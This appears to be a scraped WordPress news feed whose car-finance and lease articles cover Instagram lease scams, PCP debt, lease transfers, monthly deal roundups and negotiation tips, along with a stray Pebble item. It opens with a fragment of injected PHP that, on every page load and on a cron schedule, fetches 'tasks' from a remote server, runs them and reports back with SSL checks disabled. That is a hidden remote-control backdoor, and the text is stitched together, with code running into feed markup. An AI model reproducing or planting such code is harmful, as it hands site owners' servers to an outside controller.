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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); lease – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 03 Oct 2018 09:48:43 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png lease – Brief News https://briefnews.eu 32 32 Instagram car finance SCAM – Drivers warned of bogus lease firms using social media  https://briefnews.eu/instagram-car-finance-scam-drivers-warned-of-bogus-lease-firms-using-social-media/ https://briefnews.eu/instagram-car-finance-scam-drivers-warned-of-bogus-lease-firms-using-social-media/#respond Wed, 03 Oct 2018 09:48:43 +0000 http://briefnews.eu/instagram-car-finance-scam-drivers-warned-of-bogus-lease-firms-using-social-media/

Motorists are being warned about a new finance scam that sees con artists targeting unsuspecting motorists with too good to be true deals. 

Deals advertised on the social media Instagram are targetting the most vulnerable motorists on the road. 

Typically they offer motorists a policy without the need for a credit check or a deposit. 

Usually, the deposit is a large lump sum up front as well as commit to regular monthly payments. 

Leases are a type of credit, which means that only motorists with a good credit history will be likely to pass any affordability and suitability checks. 

This means that motorists with poor credit history could be left unable to take out a lease. 

Con artists are capitalising on these vulnerable motorists by essentially bypassing the process which is preventing them from getting a deal. 

Fraudulent accounts have been spotted on Instagram, who are asking motorists to direct message the firms to be able to take out a policy. 

These policies do not exist and it is just a ruse for these scammers to get hold of your details and convince you to hand over your cash. 

The British Vehicle Rental and Leasing Association (BVRLA) and Action Fraud are akin drivers to remain vigilant and question if a deal seems too good to be true.  

BVRLA boss Gerry Keaney said: “These criminals are purposely targeting the vulnerable, scamming money from people who can least afford to lose it.

“It’s deplorable. Their adverts can appear very convincing with some even posing as BVRLA members and citing membership numbers of legitimate members.

“We want to get the message out there that all legitimate leasing brokers adhere to Financial Conduct Authority rules and will carry out credit and affordability checks.

“Those who don’t, will not be legitimate traders and could be out to scam you.”

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Car finance has drastically grown in popularity over the past few years with it offering an attractive alternative to full ownership over a vehicle.

There are an estimated 8.7 million UK drivers with a car finance agreement, but a large proportion of these feel ‘trapped’, claims a new report.

According to new research by Drover, around 28 per cent of drivers with finance deals can’t afford the final payments to keep the car at the end of the contract.

As a result of this drivers are feeling pressured into taking out another finance deal because they don’t want to feel like they lost money they’ve out into a new car.

The survey of 1,500 drivers who are currently in a finance deal found that almost 65 per cent said they could not afford the final payment on their deal and therefore felt obliged to take out another Personal Contract Purchase.

In addition to this, three in five (60 per cent) said they could not afford to terminate their contract early.

Of the motorists trapped, almost two thirds (61 per cent) believe they are getting a bad deal and 54 per cent believed that the next PCP contrast they agree too is worse than the one prior.

The research also revealed that 28 per cent of motorists surveyed had at least three rounds of finance with the same dealer and higher APR rates than their previous deal.

Some drivers claimed to be frustrated by PCP deals saying they weren’t aware of what they were signing up for.

This is evidently costing drivers as almost half (46 per cent) claimed that they did not shop around for a good deal while 36 per cent are not aware of what the rate of interest is.

Drover CEO and founder Felix Leuschner say that motorists should consider other avenues when searching for a new car deal.

“Buying a car is daunting prospect for many drivers – not only is there so much choice, but car finance deals are hugely confusing,” he said.

“We are aiming to help drivers by providing a more flexible way to run a car without the commitment of car finance.”

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Browsing for a new place to live can be difficult. Bed bugs, weak shower pressure, and spotty Wi-Fi can all be horrible surprises, but nothing compares to finding out your entire leasing experience was a scam. Westchester County realtor and commercial and residential landlord, Al Vanacoro talked to INSIDER about potential red flags that suggest your new lease is less than legit.

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If you’re being asked to wire money or pay in cash, that’s a huge red flag, said Vanacoro. Any cash that you’d give to a legitimate company would be checked for counterfeit currency, so no one would want this extra step. Paying in cash removes a paper trail, which is exactly what a scammer would want.

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Vanacoro warned about how easy it is to search for an apartment listing, take the key from the concierge to pose as the realtor, and give possible tenants a tour, all without ever having contact with the legitimate realtor. Make sure the person showing you the apartment is part of the organization that put it on the market. If you’re dealing with a listing agent who doesn’t have an office phone number, an office email account, or any other person they can refer you to, it’s possible they’re operating alone.

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Ask to meet your landlord. Ask to speak to someone from management. If they won’t let you meet a second person, it’s possible a second person doesn’t exist.


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With support for Pebble devices scheduled to end in a couple of weeks, a group of developers interested in extending the platform is reaching out to users asking them to set up new accounts on “Rebble.” According to the team, “Our present focus is on replacing key pieces of the Pebble ecosystem: the appstore, firmware, and mobile apps.” Pebble founder and former CEO Eric Migicovsky tweeted out a link to the page, imploring users to link their accounts and back up settings before Fitbit’s scheduled shutoff on June 30th.

The bad news, however, is that the team does not expect to have its replacement for the Pebble web services backend completely up and running by then. Whenever things are ready to go, switching over should require just clicking a link and the plan is to offer “basic” data services for free, while charging for Weather and Dictation to fund the operation. All the current details are on the site and in the FAQ, so if you know someone who is still rocking one of the devices, make sure they’re signed up before it’s too late.

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There are usually three reasons people want to get out of a car lease early. A financial situation could have changed, making payments difficult. Or maybe there was a move to a city, and a car is no longer needed. Most people just want a new vehicle. “There’s a honeymoon period with a new car,” said Sergio Stiberman, founder and CEO of LeaseTrader. The bliss typically ends after about a year and a half, he added, and after that, minor defects become more noticeable, the new-car scent may have worn off, and little quirks that were once endearing are now seen as daily nuisances. Trouble is, most new-car leases typically span 24 to 36 months, and many run longer than that.

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Luckily, some people may want to get into a lease late to benefit from a shorter term and avoid some upfront costs, and, if the stars align, a lease transfer can happen. But, as Stiberman noted, “The taking-over process is a little more intricate than walking into a dealership and walking out with a car.” Here’s what to know about getting out of a lease early or dropping into one late.

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Generally, it’s far easier to buy a vehicle than it is to sell one. The same is true with getting out of a lease. If you’re getting very close to the end of your lease, say with three months left, you may be able to work with the dealership in trading the car early for a new one. However, if there’s no pull-ahead promotion at the time you need one, whatever negative equity you still had could be rolled into the next lease. Or you could choose to buy the vehicle off the lease. If neither of those options work for you, the alternative is turning over your lease not to the dealer but to another person, which is known as lease assumption.

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Before you advertise your lease as available to assume, you need to make sure it can be transferred in the first place. Scot Hall, executive vice president of the website Swapalease, said that for automaker finance companies and banks that handle vehicle leasing, there are three types of lease transfers or assumptions:

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Hall estimates a little over half of leasing companies are in the desirable first category, followed by 25 to 30 percent in the second, with the remainder in the third. For companies that do allow transfers, many will have a point of no return. Several do not allow transfers in the final 12 months of the lease, and some will have a minimum number of payments remaining. Nissan Motors Acceptance Corporation, for example, requires no fewer than seven payments to be left for the lease to be transferred. Some companies have restrictions on transfers in certain states.

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Listings seen on Swapalease.com.

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And there are fees associated with trading leases, including credit-check and transfer fees that can range anywhere from $ 75 to upwards of $ 500. If you want to use an online platform such as Swapalease and LeaseTrader, they too have costs. To list on Swapalease, it’s $ 59.95 for a one-photo ad, plus a $ 150 “success fee” if the lease is sold—which is charged whether or not a potential sale actually goes through. A Swapper’s Club rate of $ 99.95 adds that success fee and allows up to 12 photos, and a $ 199.95 Swapper’s Club Gold package includes the photos—and the success fee—plus it features the ad for two weeks.

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LeaseTrader starts at $ 99.95 for a 15-photo listing. All listings add a transfer commission fee of $ 149.95 upon sale. You can get into a $ 199.95 package for “seven days of high exposure” or a $ 249.95 package for 30 such days, which the company says will include social-media marketing, listing your ad under suggested results, and placing it in prominent galleries on the website.

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A perusal of consumer complaints online turns up a common refrain from people who disliked these services: They paid money to use them but did not succeed in selling their lease. For people who wish to list a lease exit for free, there are Craigslist and Facebook Marketplace, though there will likely be far fewer shoppers.

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So, if you want out of your lease early, and the lessor allows you to transfer, you do have some options. But you’ll probably need patience.

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Lease takeovers seen on LeaseTrader.com.

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Lease takeovers seen on LeaseTrader.com.

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On the other side of the coin is getting into a lease late. Taking on a lease midway through its life involves communicating with the seller and making sure the car is in good condition—just as you would when buying a used car. But with a lease, if there’s any damage, you could be hit with charges when you turn in the car.

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Speaking of, some leasing companies charge you turn-in fees. Sellers should show you their lease contracts so you know what you’re facing. Either way, you’ll be dealing with the leasing company once you agree to take over as lessee, and the transfer process could take anywhere from three days to three weeks, said Swapalease’s Hall.

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You’ll also want to pay close attention to mileage limits, which vary from lease to lease. Check the number of allotted miles per month or per year against your driving habits and commutes—and the miles already on the odometer.

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Your vehicle options won’t be nearly as robust they would be if you were a typical car buyer. There are simply fewer people ridding themselves of their leases than there are new and used cars for sale. And if you live outside an urban area, trading or swapping a lease becomes even harder. “You don’t see a lot of leasing in the middle of Iowa, for instance,” Hall said.

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Lease takeovers seen on Craigslist.

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Still, lease offers can be found on Craigslist and Facebook or, obviously, on the aforementioned specialty sites. On Craigslist, a search of “lease takeover” turned up about a dozen results in well-populated places like the metropolitan Detroit area but yielded nothing in southeastern Iowa. On Facebook Marketplace, we found a handful of lease takeovers being advertised within a 40-mile radius of Detroit.

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On the Swapalease and LeaseTrader websites, it costs money to sign on as a potential buyer and contact sellers. Swapalease charges $ 59.95 to register as a buyer, and LeaseTrader charges subscription rates of $ 9.99 per month for a six-month minimum, $ 14.99 per month for three months, $ 19.99 per month for two months, or a flat fee of $ 34.99 for one month. While these sites cost money, they’ll also perform one free credit check with your subscription to save you some time in wondering if you’d qualify for a lease takeover. You’ll need good credit to pass.

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Aside from the benefit of a shorter term, an advantage that makes it worthwhile to capitalize on going into a lease late is that you can avoid the thousands of dollars often required as a down payment at the start of a lease. In fact, some people are so desperate to get out of their leases that they may be willing to add cash incentives to the offer. But it’s up to you to shop around and make sure the monthly payment being offered is reasonable.

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Lease takeovers seen on Facebook Marketplace.

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In the comings and goings, Hall and Siberman said, most of their transactions occur in the 12-to-20-month range of time left on leases. Many of their customers only want to be in a car or truck for little more than a year. For some people, two-plus years is just too long. But given the right circumstances, leases can be burned at both ends.

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Yes, you can lease any new car for $ 199 per month. Provided of course you pay down the capital cost enough at signing the lease, your credit is sturdy enough, and there’s a leasing company that will write the deal. But that’s not the subject of this story.

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The goal here is to gather a representative sample of the factory-advertised lease offers clustered around $ 199 per month. We then, in one chart, guide you toward those that are great deals and away from those that are sneakily expensive.

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This isn’t meant to be a comprehensive database. Instead, it’s a survey of the offers on manufacturer websites around the $ 199 price point. These are the commodity cars and trucks, the new vehicles that hit the road in huge numbers—although that doesn’t mean there’s nothing here for car enthusiasts.

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Getting the absolute best deal means putting in work beyond reading this story. It means researching not only what vehicle to lease, but doing some smart shopping for the financial products that support your acquisition. A lease is a contract, and the elements of that contract are negotiable at some level. And it may be that working with a bank, leasing company, or credit union may yield an even better deal than what the manufacturers offer; it never hurts to shop around. Keep in mind that these offers generally require a stellar credit rating. Those of us with lousier financial reputations can expect to pay more.

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Use our survey as a baseline for your research. Then make some calls, be honest about your financial situation and credit rating, and be prepared to shop for everything from purchase price of the new vehicle, the residual value contracted at the end of the lease, mileage allowances, and the interest rate of the money used to support the transaction.

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The $ 199 target price here is a loose one—some regions can offer the same vehicle at lower or higher rates. The charts include calculations for the total cost of each lease: money due at signing, total monthly payments, and additional costs such as lease-end disposition fees. Then we divide that total by the number of allotted miles in the lease to calculate a cost-per-mile charge assuming full use of the agreed-upon miles. If a manufacturer offers a $ 199 deal in one region, we’ll include that vehicle for all four zip codes from which we’re harvesting—in Southern California, Chicago, Ann Arbor, and New York City—even if the deal carries a nominal price higher or lower than $ 199 per month.

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Every month the deals change. And this month, here are the highlights.

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Live in Michigan? Then Ford has a killer deal for you on a new Fusion SE. Just $ 119 per month after $ 1449 at signing. Yes, this lease only runs two years and 20,000 miles, but the cost per mile is just 20 cents. And any additional miles will be charged at only 15 cents each. Surprisingly, this deal isn’t restricted to Ford employees but to virtually any Michigander with a lofty credit rating. Meanwhile in Chicago, the same Fusion is $ 209 per month with $ 2669 due at signing—that’s 32 cents per mile.

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The Autumn of the Accord Coupe

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Honda held out as long as it could. Low-key, mainstream, mid-size two-doors had been long ago abandoned by other manufacturers in the face of overwhelming consumer disinterest, but Honda kept pumping out the Accord coupe right up until the end of the 2017 model year. And while Honda isn’t making the Accord coupe anymore, there are enough left in dealer inventories that Honda is offering the four-cylinder Accord LX-S coupe on three-year leases for $ 189 or $ 169 a month. Factor in the money due at signing, and both leases cost the same $ 9014 over their life span. But hurry, because once these Accord coupes are gone, they’re gone.

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Welcome to the Fray (Part One)

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2018 Hyundai Kona

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Now competing for your $ 199-per-month lease attention, here’s Hyundai’s new Kona, a small, SUV-like crossovery thing. It’s yours on a three-year lease for $ 199 a month after $ 2399 at signing. Be the first on your block to get one. Or two.

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Also new to the list this month is Mitsubishi’s Eclipse Cross, which is also kind of small and SUV-like. Powered by a turbocharged 1.5-liter inline-four, this is a promising new entry from Mitsubishi, even if some may view the use of the once-beloved Eclipse name on something other than a sports coupe as a betrayal of sorts. Mitsubishi is promoting leases of $ 189 per month for the front-drive Eclipse Cross and $ 257 per month for the all-wheel-drive version. But Mitsu is also asking a hefty $ 4388 at signing for the front-driver and $ 4531 for the AWD version.

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Honda is still offering the sublime, 205-hp, six-speed-manual-only 2018 Civic Si in both coupe and sedan form near this price point: $ 209 or $ 229 per month with modest buy ins. We’ll keep mentioning this killer deal until you succumb and sign up for a lease—or Honda kills the deals.

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Nissan is offering its well-seasoned, proven, classic—okay, it’s old, old, old—Frontier pickup at just $ 209 per month for a 4×4 after $ 3369 at signing on a three-year lease. But that’s only in the New York City region. The rest of us have to hack up $ 299 per month and put down between $ 2999 and $ 3999.

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Subaru offers several leases near the $ 199 price point, including an Impreza hatchback with a five-speed manual transmission, with nothing due at signing. That’s a lot of Subie even if you’re short on cash.

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If you’re a General Motors employee in Michigan, Chevy is giving you the opportunity to acquire a new Silverado Double Cab 4×4 for $ 199 a month after $ 1949 at signing. That’s chump change for a full-size pickup. Keep in mind it’s for a low-mileage, two-year lease, but that’s still a lot of truck for the buck. Those who don’t work for GM and don’t live in Michigan? They pay more.

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Fiat Chrysler employees in Michigan can get their own screaming deal on a full-size pickup. FCA is offering them the opportunity to acquire a crew-cab Ram 1500 4×2 for $ 189 a month after a measly $ 1148 at signing. Again, it’s for a low-mileage, two-year lease, but that’s still a lot of truck for the buck. Those who don’t work for FCA and don’t live in Michigan? They pay more.

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Not to be left out, Ford is offering Michigan residents the F-150 XLT SuperCrew 4×4 for just $ 139 a month after $ 2229 at signing. As you’ve probably guessed, that offer is for a low-mileage, two-year lease. The big news here is that you don’t have to be a Ford employee. Ford is happy to lease an F-150 to GM employees, FCA employees, the self-employed, and the unemployed—provided their credit is good enough.

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2017 Mazda 6

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The Mazda 6 is a silky-smooth mid-size sedan that is often overlooked in the marketplace. But it’s there, and if you’re in the New York metropolitan area, a three-year, 36,000-mile lease is available for only $ 149 per month after $ 2499 at signing. That’s a bargain at only 21 cents per mile. It’s also a good chunk cheaper than what you’ll pay in other parts of the country.

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The automotive industry settles into the core of the leasing year in February. The previous model year’s inventory is pretty much all cleared away, the gift-giving holidays are a couple of months behind us, and the President’s Day long weekend provides a bonus shopping opportunity. And if you’re one of those industrious types who files your income taxes right away, you might have tax-refund money burning a hole in your pocket.

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This isn’t meant to be a comprehensive database. Instead it’s a survey of the deals around the $ 199 price point offered on manufacturer websites. They beckon you into a world where you always drive a newish vehicle and maybe a nicer vehicle than what you could pay for outright. Still, these are commodity cars and trucks, the new vehicles that hit the road in huge numbers. That doesn’t mean there’s nothing here for enthusiasts, but don’t expect six-figure profilers.

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Getting the absolute best deal means putting in work beyond reading this story. It means researching not only what vehicle to lease but also doing some smart shopping for the financial products that support your acquisition. A lease is a contract, and the elements of that contract are negotiable at some level. And it may be that working with a bank, a leasing company, or a credit union could yield an even better deal than what the manufacturers offer; it never hurts to shop around. Keep in mind that these offers generally require a stellar credit rating. Those of us with lousier financial reputations can expect to pay more.

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Use our survey as a baseline for your research. Then make some calls, be honest about your financial situation and credit rating, and be prepared to shop for everything from purchase price of the new vehicle, the residual value contracted at the end of the lease, mileage allowances, and the interest rate of the money used to support the transaction.

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The $ 199 target price here is a loose one—some regions can offer the same vehicle at lower or higher rates. The charts include calculations for the total cost of each lease: money due at signing, total monthly payments, and additional costs like lease-end disposition fees. Then we divide that total by the number of allotted miles in the lease to calculate a cost-per-mile charge assuming full use of the agreed-upon miles. If a manufacturer offers a $ 199 deal in one region, we’ll include that vehicle for all four ZIP codes from which we’re harvesting—in Southern California, Chicago, Ann Arbor, and New York City—even if the deal carries a nominal price higher or lower than $ 199 per month.

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2017 Chevrolet Silverado 1500

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There’s no more competitive segment of the vehicle market than that for full-size pickup trucks. And this month, for the first time in recent memory, Chevrolet, Ram, and Ford are all offering their mainstream trucks with come-hither leases in some regions. Both General Motors and Ram have already shown their upcoming next-generation pickups, but they’re still churning out their old ones in massive numbers, and that metal has to be moved. Meanwhile, Ford is aggressively countering that with deals on the F-150 structured around incentives on the smaller, 2.7-liter version of the twin-turbocharged EcoBoost V-6.

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Many of these deals need a big chunk of cash at signing, so don’t leap at any of them without careful consideration.

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Acura Is Back

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The ILX has been around a while and doesn’t sell in vast numbers. And that’s the recipe for a good deal. A near-luxury small sedan with a sophisticated eight-speed dual-clutch automatic transmission for only $ 199 per month after $ 2499 at signing. The lease runs three years and 30,000 miles, with additional miles at a reasonable 15 cents each.

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This month’s $ 199 deal list runs to 242 different deals. Only eight of them are on two-door coupes. That’s two regional deals on the V-6–powered 2018 Dodge Challenger SXT (both of which require coming out of existing FCA leases), two different deals on leftover 2017 Honda Accord coupes (there is no 2018 Accord coupe), and four on versions of the Honda Civic coupe—including two on the delectable Si.

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Ford has been almost clandestine in the launch of its new smaller-than-the-Escape, made-in-India EcoSport crossover. The company even sold 500 of them in January, Ford’s Mike Levine told C/D in a phone conversation. Who knew? There are four EcoSport deals listed this month, with monthly payments starting as low as $ 169 per month.

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Not all of us get thick tax-refund checks. But Subaru, Toyota, and Kia all offer deals near this price point that don’t require any money at signing. They’re not available in all regions, so shop around. The electric version of Kia’s Soul, for instance, can be had for zero down and only $ 179 per month in the New York City metro area. It’s the cheapest way to adopt an all-zap lifestyle.

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Driver’s Choice, Now More Expensive

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Honda still offers the sublime 205-hp, six-speed-manual-only 2018 Civic Si in both coupe and sedan versions near this price point. But the prices have risen this month to either $ 209 or $ 229 per month. So, you should have gotten the killer deals last month.

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Volkswagen roars back onto the list this month with solid offers on the mid-size Passat sedan. That is, if a Passat can roar at all. In the New York City area, a 2018 Passat can be had for $ 179 per month after $ 2999 at signing. But keep in mind that the 36-month lease includes only 30,000 miles of use with additional miles at 20 cents apiece.

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]]> https://briefnews.eu/199-lease-deals-for-february-2018/feed/ 0 How to Negotiate Your Next New-Car Lease Like a Pro https://briefnews.eu/how-to-negotiate-your-next-new-car-lease-like-a-pro/ https://briefnews.eu/how-to-negotiate-your-next-new-car-lease-like-a-pro/#respond Tue, 30 Jan 2018 12:13:14 +0000 http://briefnews.eu/how-to-negotiate-your-next-new-car-lease-like-a-pro/ Car Sales

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Car salespeople will tell you that most people who end up leasing a new vehicle don’t walk through the door thinking of themselves as lease customers. Rather, like proposals on New Year’s Eve, leasing often just kind of happens, and the person has to live with the consequences of a spontaneous decision. The information here is intended to help you make good decisions as you negotiate a lease, so you can live happily ever after with your new vehicle.

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We’ll avoid debating the overall desirability of leasing versus buying in this article, instead assuming that a two- or three-year lease term is a given and focusing on getting on a lease that is as financially advantageous as it can be.

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Indeed, a rational, step-by-step approach to vehicle leasing is fairly rare in the typical dealership, but talking with veteran car dealers proved that it’s even rarer than we thought. “I don’t think I’ve ever seen such a thing in a dealership,” said Donald Fuller, a former car salesperson who has provided sales training to thousands of new-car dealerships. “I’ve seen a customer and a sales manager roll dice to settle a deal, but I’ve never seen a lease customer make a step-by-step effort to negotiate a lease.”

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With that in mind, here are the steps you should follow to get the best deal on a lease.

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Find and Examine a Deal

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First, you should determine if there is a special lease offer on the vehicle you want. This shouldn’t take CSI-style detective work, because car manufacturers, dealer associations, and individual dealers usually scream such lease deals from the rooftops. Ads for such deals will most often feature an eye-poppingly low monthly payment in large type and are intended to get you excited about stepping into a vehicle you didn’t think you could afford.

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But before you take the next step, examine the deal with these questions in mind:

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  • Does the vehicle that qualifies for the special deal have the equipment you want?

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  • Do the terms of the deal offer you sufficient miles per year to meet your needs?

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  • Is there an upfront payment required, and, if so, how large is it?

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If for whatever reason you didn’t find the special deal to be all that special, you should see about negotiating one that is. During negotiations, focus on the price of the vehicle, the price of the financing (yes, leasing is “financing”), and the overall mileage limit.

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Price of Vehicle

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In the arcane patois that surrounds leasing, the price of the vehicle is called the capitalized cost, often shortened to “cap cost.” It stands to reason that if you negotiate the price of the vehicle down, the monthly payment and the overall cost of the vehicle lease should also go down. The trouble is, as Fuller told us,  “Most consumers are payment shoppers, so they only look at the monthly payment.” Rather than agree to a lower purchase price, the dealership typically lengthens the payment period to bring down the monthly payment, which is how a 36-month lease can become a 39- or even 48-month lease.

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But you can negotiate the cap cost downward, and it is to your benefit to do so, because that is what the financial institution acquiring the vehicle from the dealership will pay for the car. Negotiating this price downward is valuable because it narrows the gap between the purchase price and the residual value—the amount the vehicle will be worth when the lease ends. Since that period of usage is the portion of the car you are buying—day one through the day the lease term ends—that’s what you pay for when you lease.  A lower cap cost should lead to a lower monthly payment, all other things being equal.

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Price of Financing

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Another item worthy of negotiation is the price of the financing, which typically boils down to an interest rate on the lease. In a purchase, the interest rate is expressed as a simple percentage such as 4.5 percent. But in the alternate universe of leasing, it is usually embedded in the “lease factor,” otherwise known as the “money factor.” The money factor is expressed as a number such as .00225 or, even more confusingly, by moving the decimal point between the third and fourth digits, so 2.25. You might think this means the interest rate is 2.25 percent, but it isn’t. To convert the money factor to an equivalent annual interest percentage rate (APR), the decimal is always multiplied by 2400. In the example where the money factor is .00225, the math indicates the APR is 5.4 percent. You’ll probably need to get your salesperson to tell you what the factor is, as it is not required to be disclosed on the lease worksheet.

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Now you can do quick research on finance websites to see where interest rates currently sit. Having a working knowledge of market interest rates will enable you to determine if the money factor/interest rate you are being offered is competitive or completely out of line.

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Mileage Limit

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The third item open for negotiation is the mileage limit. This is the maximum number of miles you can put on the vehicle before you begin paying a penalty. It makes sense to specify a mileage limit, because the lessor (the financial institution funding the lease) needs to have a good idea of the value of the vehicle when the lease is over. That value is the “residual value,” literally the value that is left, and it is often called just “the residual.” If you opt for a low-mileage lease—say 10,000 miles per year—the residual value will be higher than if you opt to include 15,000 miles per year, so the monthly payment should be lower. But if you underestimate the miles you will drive, you will end up in a situation where you will pay a per-mile penalty on the total over the agreed-upon limit.

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“Customers typically overlook the mileage limit,” Fuller told us. “They sign up for 10,000 miles a year or 12,000 miles a year without ever thinking about how many miles they will actually drive.” That can prove to be a major mistake, as the penalty per mile can add up quickly.

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Checklist

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With the above in mind, here’s a quick checklist:

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  1. If there exists a special deal on a car you want with the equipment you want that has an appropriate mileage limit and either no lease acquisition cost or a manageable one, you may want to proceed. You have won the lease equivalent of the lottery.

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  2. If that is not the case, negotiate on the purchase price—the cap cost—as if you were going to buy the car for cash.

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  3. Negotiate the interest rate (money factor) on the lease to a level appropriate to current market interest rates. During the negotiation process, be sure the calculations are always using one lease term—36 months, for example—so that you are comparing apples to apples. Compare interest rates and then examine the commensurate monthly payments.

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  4. Make certain the mileage limit is a number you can comfortably live within even if your life changes. Give yourself some leeway without grossly overestimating the number of miles you will drive.

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  5. Understand what the residual value of the vehicle has been set at in the lease contract. You don’t have much wiggle room on negotiating this number because it is established by experts in predicting residuals, but knowing it will help you understand the entirety of the deal. Also, when the lease ends you typically have the right to buy the car at the residual value.

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While this is certainly more complicated than signing a vehicle lease on a car you instead intended to buy, simply because the payments were lower, it’s a proven, smart strategy. Not only might you catch the salesperson and dealership sales manager by surprise, but you’ll undoubtedly save yourself some money.

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